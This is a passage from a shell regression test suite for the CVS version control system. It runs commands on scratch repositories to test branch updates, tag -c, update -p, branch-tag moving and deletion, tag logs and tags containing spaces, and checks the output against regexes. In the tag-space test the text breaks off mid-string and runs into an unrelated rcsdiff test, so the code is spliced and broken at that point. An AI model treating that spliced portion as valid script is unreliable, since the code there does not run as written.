Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1.*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/Attic/file3,v\n Sticky Tag:\t\tb1 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t # FIXME: Just clobbering the directory like this is a bit\n\t # tacky, although people generally expect it to work. Maybe\n\t # we should release it instead. We do it a few other places\n\t # below as well.\n\t rm -r dir1\n\t dotest branches2-15 \"${testcvs} update -d -j b1 dir1\" \\\n\"${PROG} update: Updating dir1\nU dir1/file3\"\n\t # FIXCVS: The `No revision control file' stuff seems to be\n\t # CVS's way of telling us that we're adding the file on a\n\t # branch, and the file is not on that branch yet. This\n\t # should be nicer.\n\t dotest branches2-16 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tb2 (branch: 1\\.1\\.4)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\tb2 - MISSING from RCS file!\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t cd ../../trunk/first-dir\n\t dotest branches2-17 \"${testcvs} update -d -P dir1\" \\\n\"${PROG} update: Updating dir1\"\n\t dotest_fail branches2-18 \"test -d dir1\"\n\t dotest branches2-19 \"${testcvs} update -d -P -r b1 dir1\" \\\n\"${PROG} update: Updating dir1\nU dir1/file3\"\n\t dotest branches2-20 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1.*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/Attic/file3,v\n Sticky Tag:\t\tb1 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t rm -r dir1\n\t dotest branches2-21 \"${testcvs} update -d -P -j b1 dir1\" \\\n\"${PROG} update: Updating dir1\nU dir1/file3\"\n\t dotest branches2-22 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/Attic/file3,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t cd ../..\n\t rm -r b1 b2\n\n\t # Check out branch b1 twice. Crate a new directory in one\n\t # working directory, then do a cvs update in the other\n\t # working directory and see if the tags are right.\n\t mkdir b1a\n\t mkdir b1b\n\t cd b1b\n\t dotest branches2-23 \"${testcvs} -q co -r b1 first-dir\" \\\n'U first-dir/file1\nU first-dir/file2\nU first-dir/dir1/file3'\n\t cd ../b1a\n\t dotest branches2-24 \"${testcvs} -q co -r b1 first-dir\" \\\n'U first-dir/file1\nU first-dir/file2\nU first-dir/dir1/file3'\n\t cd first-dir\n\t mkdir dir2\n\t dotest branches2-25 \"${testcvs} add dir2\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir2 added to the repository\n--> Using per-directory sticky tag \"'`'\"b1'\"\n\t echo \"file4 first revision\" > dir2/file4\n\t dotest branches2-26 \"${testcvs} add dir2/file4\" \\\n\"${PROG}\"' add: scheduling file `dir2/file4'\\'' for addition on branch `b1'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest branches2-27 \"${testcvs} -q commit -madd\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/dir2/Attic/file4,v\ndone\nChecking in dir2/file4;\n${CVSROOT_DIRNAME}/first-dir/dir2/Attic/file4,v <-- file4\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t cd ../../b1b/first-dir\n\t dotest branches2-28 \"${testcvs} update -d dir2\" \\\n\"${PROG} update: Updating dir2\nU dir2/file4\"\n\t cd dir2\n\t dotest branches2-29 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file4 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.2\\.1.*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/dir2/Attic/file4,v\n Sticky Tag:\t\tb1 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest branches2-30 \"cat CVS/Tag\" 'Tb1'\n\n\t # Test update -A on a subdirectory\n\t cd ..\n\t rm -r dir2\n\t dotest branches2-31 \"${testcvs} update -A -d dir2\" \\\n\"${PROG} update: Updating dir2\"\n\t cd dir2\n\t dotest branches2-32 \"${testcvs} -q status\" ''\n\t dotest_fail branches2-33 \"test -f CVS/Tag\"\n\n\t # Add a file on the trunk.\n\t echo \"file5 first revision\" > file5\n\t dotest branches2-34 \"${testcvs} add file5\" \\\n\"${PROG}\"' add: scheduling file `file5'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest branches2-35 \"${testcvs} -q commit -madd\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/dir2/file5,v\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/dir2/file5,v <-- file5\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../../../trunk/first-dir\n\t dotest branches2-36 \"${testcvs} -q update -d dir2\" 'U dir2/file5'\n\t cd dir2\n\t dotest branches2-37 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file5 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/dir2/file5,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest_fail branches2-38 \"test -f CVS/status\"\n\n\t cd ../../..\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r trunk b1a b1b\n\t ;;\n\n\ttagc)\n\t # Test the tag -c option.\n\t mkdir 1; cd 1\n\t dotest tagc-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest tagc-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1 file2\n\t dotest tagc-3 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest tagc-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t dotest tagc-5 \"${testcvs} -q tag -c tag1\" \\\n\"T file1\nT file2\"\n\t touch file1 file2\n\t dotest tagc-6 \"${testcvs} -q tag -c tag2\" \\\n\"T file1\nT file2\"\n\t # Avoid timestamp granularity bugs (FIXME: CVS should be\n\t # doing the sleep, right?).\n\t sleep 1\n\t echo myedit >>file1\n\t dotest tagc-6a \"${testcvs} rm -f file2\" \\\n\"${PROG} remove: scheduling .file2. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t touch file3\n\t dotest tagc-6b \"${testcvs} add file3\" \\\n\"${PROG} add: scheduling file .file3. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest_fail tagc-7 \"${testcvs} -q tag -c tag3\" \\\n\"${PROG} tag: file1 is locally modified\n${PROG} tag: file2 is locally modified\n${PROG} tag: file3 is locally modified\n${PROG} \\[tag aborted\\]: correct the above errors first!\"\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\t dotest tagc-8 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\"\n\t cd ../1/first-dir\n\t dotest tagc-9 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nRemoving file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: delete; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\ninitial revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t dotest tagc-10 \"${testcvs} -q tag -c tag4\" \\\n\"${PROG} tag: file2 is no longer in the repository\nT file1\nT file2\"\n\t cd ../..\n\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tupdate-p)\n\t # Make sure `cvs update -p -rT FILE' works from a branch when\n\t # FILE is already on the trunk and is being added to that branch.\n\n\t mkdir 1; cd 1\n\t module=x\n\n\t echo > unused-file\n\n\t # Create the module.\n\t dotest update-p-1 \\\n\t \"$testcvs -Q import -m. $module X Y\" ''\n\n\t file=F\n\t # Check it out and tag it.\n\t dotest update-p-2 \"$testcvs -Q co $module\" ''\n\t cd $module\n\t dotest update-p-3 \"$testcvs -Q tag -b B\" ''\n\t echo v1 > $file\n\t dotest update-p-4 \"$testcvs -Q add $file\" ''\n\t dotest update-p-5 \"$testcvs -Q ci -m. $file\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/$module/$file,v\ndone\nChecking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\t dotest update-p-6 \"$testcvs -Q tag T $file\" ''\n\t dotest update-p-7 \"$testcvs -Q update -rB\" ''\n\n\t # This merge effectively adds file F on branch B.\n\t dotest update-p-8 \"$testcvs -Q update -jT\" ''\n\n\t # Before the fix that prompted the addition of this test,\n\t # the following command would fail with this diagnostic:\n\t # cvs update: conflict: F created independently by second party\n\t dotest update-p-9 \"$testcvs update -p -rT $file\" \\\n\"===================================================================\nChecking out $file\nRCS: ${CVSROOT_DIRNAME}/$module/$file,v\nVERS: 1\\.1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nv1\"\n\n\t # Repeat the above, but with $file removed.\n\t # This exercises a slightly different code path.\n\t rm $file\n\t # Before the fix that prompted the addition of this test,\n\t # the following command would fail with this diagnostic:\n\t # cvs update: warning: new-born F has disappeared\n\t dotest update-p-10 \"$testcvs update -p -rT $file\" \\\n\"===================================================================\nChecking out $file\nRCS: ${CVSROOT_DIRNAME}/$module/$file,v\nVERS: 1\\.1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nv1\"\n\n\t # Exercise yet another code path:\n\t # the one that involves reviving a `dead' file.\n\t # And a little more, for good measure...\n\t touch new\n\t dotest update-p-a1 \"$testcvs -Q add new\" ''\n\t dotest update-p-a2 \"$testcvs -Q update -p new\" ''\n\t dotest update-p-a3 \"$testcvs -Q rm -f new\" ''\n\n\t # Both an update -A, *and* the following update are required\n\t # to return to the state of being on the trunk with a $file\n\t # that we can then remove.\n\t dotest update-p-undead-0 \"$testcvs update -A\" \\\n\"$PROG update: Updating \\.\n$PROG update: warning: new-born $file has disappeared\n[UP] unused-file\"\n\t dotest update-p-undead-1 \"$testcvs update\" \\\n\"${PROG} update: Updating \\.\nU $file\"\n\t dotest update-p-undead-2 \"$testcvs -Q update -p -rT $file\" v1\n\t dotest update-p-undead-3 \"$testcvs -Q rm -f $file\" ''\n\t dotest update-p-undead-4 \"$testcvs -Q update -p -rT $file\" v1\n\t dotest update-p-undead-5 \"$testcvs -Q ci -m. $file\" \\\n\"Removing $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t dotest update-p-undead-6 \"$testcvs -Q update -p -rT $file\" v1\n\t echo v2 > $file\n\t dotest update-p-undead-7 \"$testcvs -Q update -p -rT $file\" v1\n\t dotest update-p-undead-8 \"$testcvs add $file\" \\\n\"${PROG} add: Re-adding file .$file. (in place of dead revision 1\\.2)\\.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t dotest update-p-undead-9 \"$testcvs -Q update -p -rT $file\" v1\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\ttagf)\n\t # More tagging tests, including using tag -F -B to convert a\n\t # branch tag to a regular tag and recovering thereof.\n\n\t # Setup; check in first-dir/file1\n\t mkdir 1; cd 1\n\t dotest tagf-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest tagf-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1 file2\n\t dotest tagf-3 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest tagf-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t # Now create a branch and commit a revision there.\n\t dotest tagf-5 \"${testcvs} -q tag -b br\" \"T file1\nT file2\"\n\t dotest tagf-6 \"$testcvs -q update -r br\" \\\n'U file1\nU file2'\n\t echo brmod >> file1\n\t echo brmod >> file2\n\t dotest tagf-7 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t # Here we try to make it a non-branch tag, but will\n\t # succeed in getting only warnings, even with -F \n\t # because converting a branch tag to non-branch \n\t # is potentially catastrophic.\n\t dotest tagf-8a \"${testcvs} -q tag -F br\" \\\n\"${PROG} tag: file1: Not moving branch tag .br. from 1\\.1\\.2\\.1 to 1\\.1\\\\.2\\.1\\.\n${PROG} tag: file2: Not moving branch tag .br. from 1\\.1\\.2\\.1 to 1\\.1\\.2\\.1\\.\"\n\t # however, if we *really* are sure we want to move a branch tag,\n\t # \"-F -B\" will do the trick\n\t dotest tagf-8 \"${testcvs} -q tag -F -B br\" \"T file1\nT file2\"\n\t echo moremod >> file1\n\t echo moremod >> file2\n\t dotest tagf-9 \"${testcvs} -q status -v file1\" \\\n\"===================================================================\nFile: file1 \tStatus: Locally Modified\n\n Working revision:\t1\\.1\\.2\\.1.*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tbr (revision: 1\\.1\\.2\\.1)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tbr \t(revision: 1\\.1\\.2\\.1)\"\n\n\t # Now, how do we recover?\n\t dotest tagf-10 \"${testcvs} -q tag -d br\" \"D file1\nD file2\"\n\t # This creates a new branch, 1.1.4. See the code in RCS_magicrev\n\t # which will notice that there is a (non-magic) 1.1.2 and thus\n\t # skip that number.\n\t dotest tagf-11 \"${testcvs} -q tag -r 1.1 -b br file1\" \"T file1\"\n\t # Fix it with admin -n (cf admin-18, admin-26-4).\n\t dotest tagf-12 \"${testcvs} -q admin -nbr:1.1.2 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\t # Another variation on the file2 test would be to use two working\n\t # directories so that the update -r br would need to\n\t # a merge to get from 1.1.2.1 to the head of the 1.1.2 branch.\n\t dotest tagf-13 \"${testcvs} -q update -r br\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\\.2\\.1\nretrieving revision 1\\.1\nMerging differences between 1\\.1\\.2\\.1 and 1\\.1 into file1\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in file1\nC file1\nM file2\"\n\t # CVS is giving a conflict because we are trying to get back to\n\t # 1.1.4. I'm not sure why it is a conflict rather than just\n\t # \"M file1\".\n\t dotest tagf-14 \"cat file1\" \\\n\"<<<<<<< file1\nbrmod\nmoremod\n[=]======\n[>]>>>>>> 1\\.1\"\n\t echo resolve >file1\n\t dotest tagf-15 \"${testcvs} -q ci -m recovered\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.4\\.1; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\t # try accidentally deleting branch tag, \"tag -d\"\n\t dotest_fail tagf-16 \"${testcvs} tag -d br\" \\\n\"${PROG} tag: Untagging \\.\n${PROG} tag: Not removing branch tag .br. from .${CVSROOT_DIRNAME}/first-dir/file1,v.\\.\n${PROG} tag: Not removing branch tag .br. from .${CVSROOT_DIRNAME}/first-dir/file2,v.\\.\"\n\t # try accidentally deleting branch tag, \"rtag -d\"\n\t dotest_fail tagf-17 \"${testcvs} rtag -d br first-dir\" \\\n\"${PROG} rtag: Untagging first-dir\n${PROG} rtag: Not removing branch tag .br. from .${CVSROOT_DIRNAME}/first-dir/file1,v.\\.\n${PROG} rtag: Not removing branch tag .br. from .${CVSROOT_DIRNAME}/first-dir/file2,v.\\.\"\n\t # try accidentally converting branch tag to non-branch tag \"tag -F\"\n\t dotest tagf-18 \"${testcvs} tag -r1.1 -F br file1\" \\\n\"${PROG} tag: file1: Not moving branch tag .br. from 1\\.1\\.4\\.1 to 1\\.1\\.\"\n\t # try accidentally converting branch tag to non-branch tag \"rtag -F\"\n\t dotest tagf-19 \"${testcvs} rtag -r1.1 -F br first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: first-dir/file1: Not moving branch tag .br. from 1\\.1\\.4\\.1 to 1\\.1\\.\n${PROG} rtag: first-dir/file2: Not moving branch tag .br. from 1\\.1\\.2\\.2 to 1\\.1\\.\"\n\t # create a non-branch tag\n\t dotest tagf-20 \"${testcvs} rtag regulartag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\"\n\t # try accidentally converting non-branch tag to branch tag (tag -F -B -b)\n\t dotest tagf-21 \"${testcvs} tag -F -B -b regulartag file1\" \\\n\"${PROG} tag: file1: Not moving non-branch tag .regulartag. from 1\\.1 to 1\\.1\\.4\\.1\\.0\\.2 due to .-B. option\\.\"\n\t # try accidentally converting non-branch tag to branch rtag (rtag -F -B -b)\n\t dotest tagf-22 \"${testcvs} rtag -F -B -b regulartag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: first-dir/file1: Not moving non-branch tag .regulartag. from 1\\.1 to 1\\.1\\.0\\.6 due to .-B. option\\.\n${PROG} rtag: first-dir/file2: Not moving non-branch tag .regulartag. from 1\\.1 to 1\\.1\\.0\\.4 due to .-B. option\\.\"\n\t # Try accidentally deleting non-branch: (tag -d -B)\n\t dotest_fail tagf-23 \"${testcvs} tag -d -B regulartag file1\" \\\n\"${PROG} tag: Not removing non-branch tag .regulartag. from .${CVSROOT_DIRNAME}/first-dir/file1,v. due to .-B. option\\.\"\n\t # Try accidentally deleting non-branch: (rtag -d -B)\n\t dotest_fail tagf-24 \\\n\t\t\"${testcvs} rtag -d -B regulartag first-dir\" \\\n\"${PROG} rtag: Untagging first-dir\n${PROG} rtag: Not removing non-branch tag .regulartag. from .${CVSROOT_DIRNAME}/first-dir/file1,v. due to .-B. option\\.\n${PROG} rtag: Not removing non-branch tag .regulartag. from .${CVSROOT_DIRNAME}/first-dir/file2,v. due to .-B. option\\.\"\n\n\t # the following tests (throught the next commit) keep moving the same\n\t # tag back and forth between 1.1.6 & 1.1.8 in file1 and between\n\t # 1.1.4 and 1.1.6 in file2 since nothing was checked in on some of\n\t # these branches and CVS only tracks branches via tags unless they contain data.\n\n\t # try intentionally converting non-branch tag to branch tag (tag -F -b)\n\t dotest tagf-25a \"${testcvs} tag -F -b regulartag file1\" \"T file1\"\n\t # try intentionally moving a branch tag to a newly created branch (tag -F -b -B)\n\t dotest tagf-25b \"${testcvs} tag -F -B -b -r1.1 regulartag file1\" \\\n\"T file1\"\n\t # try intentionally converting mixed tags to branch tags (rtag -F -b)\n\t dotest tagf-26a \"${testcvs} rtag -F -b regulartag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: first-dir/file1: Not moving branch tag .regulartag. from 1\\.1 to 1\\.1\\.0\\.8\\.\"\n\t # try intentionally converting a branch to a new branch tag (rtag -F -b -B)\n\t dotest tagf-26b \"${testcvs} rtag -F -B -b -r1.1 regulartag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\"\n\t # update to our new branch\n\t dotest tagf-27 \"${testcvs} update -r regulartag\" \\\n\"${PROG} update: Updating \\.\nU file1\nU file2\"\n\t # commit some changes and see that all rev numbers look right\n\t echo changes >> file1\n\t echo changes >> file2\n\t dotest tagf-28 \"${testcvs} ci -m changes\" \\\n\"${PROG} [a-z]*: Examining \\.\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.8\\.1; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.6\\.1; previous revision: 1\\.1\ndone\"\n\t # try intentional branch to non-branch (tag -F -B)\n\t dotest tagf-29 \"${testcvs} tag -F -B -r1.1 regulartag file1\" \\\n\"T file1\"\n\t # try non-branch to non-branch (tag -F -B)\n\t dotest tagf-29a \"${testcvs} tag -F -B -r br regulartag file1\" \\\n\"${PROG} tag: file1: Not moving non-branch tag .regulartag. from 1\\.1 to 1\\.1\\.4\\.1 due to .-B. option\\.\"\n\t # try mixed-branch to non-branch (rtag -F -B )\n\t dotest tagf-29b \"${testcvs} rtag -F -B -r br regulartag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: first-dir/file1: Not moving non-branch tag .regulartag. from 1\\.1 to 1\\.1\\.4\\.1 due to .-B. option\\.\"\n\t # at this point, regulartag is a regular tag within\n\t # file1 and file2\n\n\t # try intentional branch to non-branch (rtag -F -B)\n\t dotest tagf-30 \"${testcvs} rtag -F -B -r1.1 br first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\"\n\t # create a branch tag so we can try to delete it.\n\t dotest tagf-31 \"${testcvs} rtag -b brtag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\"\n\t\n\t # try intentinal deletion of branch tag (tag -d -B)\n\t dotest tagf-32 \"${testcvs} tag -d -B brtag file1\" \"D file1\"\n\t # try intentinal deletion of branch tag (rtag -d -B)\n\t dotest tagf-33 \"${testcvs} rtag -d -B brtag first-dir\" \\\n\"${PROG} rtag: Untagging first-dir\"\n\n\t cd ../..\n\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\ttag-log)\n\t # Test log output for tags\n\t mkdir 1; cd 1\n\t dotest tag-log-init-1 \"$testcvs -q co -l .\"\n\t mkdir first-dir\n\t dotest tag-log-init-2 \"$testcvs add first-dir\" \\\n\"Directory $CVSROOT_DIRNAME/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1\n\t dotest tag-log-init-3 \"$testcvs add file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest tag-log-init-4 \"$testcvs -Q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n dotest tag-log-1 \"$testcvs -Q tag mytag file1\" ''\n dotest tag-log-2 \"$testcvs log -N file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n dotest tag-log-3 \"$testcvs log -N -n file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tmytag: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n dotest tag-log-4 \"$testcvs log file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tmytag: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n dotest tag-log-5 \"$testcvs log -n file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tmytag: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n\n cd ../..\n\t rm -fr 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\ttag-space)\n\t # Test tags with spaces in the names.\n\t #\n\t # Prior to releases 1.11.18 & 1.12.10, some commands used with\n\t # tags with spaces in the names could hang CVS.\n\n\t # Setup; check in first-dir/file1\n\t mkdir 1; cd 1\n\t dotest tag-space-init-1 \"$testcvs -q co -l .\"\n\t mkdir first-dir\n\t dotest tag-space-init-2 \"$testcvs add first-dir\" \\\n\"Directory $CVSROOT_DIRNAME/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1\n\t dotest tag-space-init-3 \"$testcvs add file1\" \\\n\"$PROG add: scheduling file \\`file1' for addition\n$PROG add: use '$PROG commit' to add this file permanently\"\n\t dotest tag-space-init-4 \"$testcvs -Q ci -m add\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/file1,v\ndone\nChecking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t # Reportedly, the following two tags make it past WinCVS.\n\t dotest_fail tag-space-1 \"$testcvs tag ' spacetag '\" \\\n\"$PROG \\[tag aborted\\]: tag \\` spacetag ' must start with a letter\"\n\t dotest_fail tag-space-2 \"$testcvs tag 'spacetag '\" \\\n\"$PROG \\[tag aborted\\]: tag \\`spacetag ' has non-visible graphic characters\"\n\n\t if $remote; then\n\t # Verify that this isn't a client check.\n\t dotest tag-space-3 \"$testcvs server\" \\\n\"E $PROG \\[tag aborted\\]: tag \\` spacetag ' must start with a letter\nerror \" < foo.c\n\t dotest rcsdiff-2 \"${testcvs} add -m new-file foo.c\" \\\n\"${PROG} add: scheduling file .foo\\.c. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest rcsdiff-3 \"${testcvs} commit -m rev1 foo.c\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\ndone\nChecking in foo\\.c;\n${CVSROOT_DIRNAME}/first-dir/foo.c,v <-- foo\\.c\ninitial revision: 1\\.1\ndone\"\n\t dotest rcsdiff-4 \"${testcvs} tag first foo.c\" \"T foo\\.c\"\n\t dotest rcsdiff-5 \"${testcvs} update -p -r first foo.c\" \\\n\"===================================================================\nChecking out foo\\.c\nRCS: ${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\nVERS: 1\\.1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nI am the first foo, and my name is \\$\"\"Name: first \\$\\.\"\n\n\t echo \"I am the second foo, and my name is $\"\"Name$.\" > foo.c\n\t dotest rcsdiff-6 \"${testcvs} commit -m rev2 foo.c\" \\\n\"Checking in foo\\.c;\n${CVSROOT_DIRNAME}/first-dir/foo\\.c,v 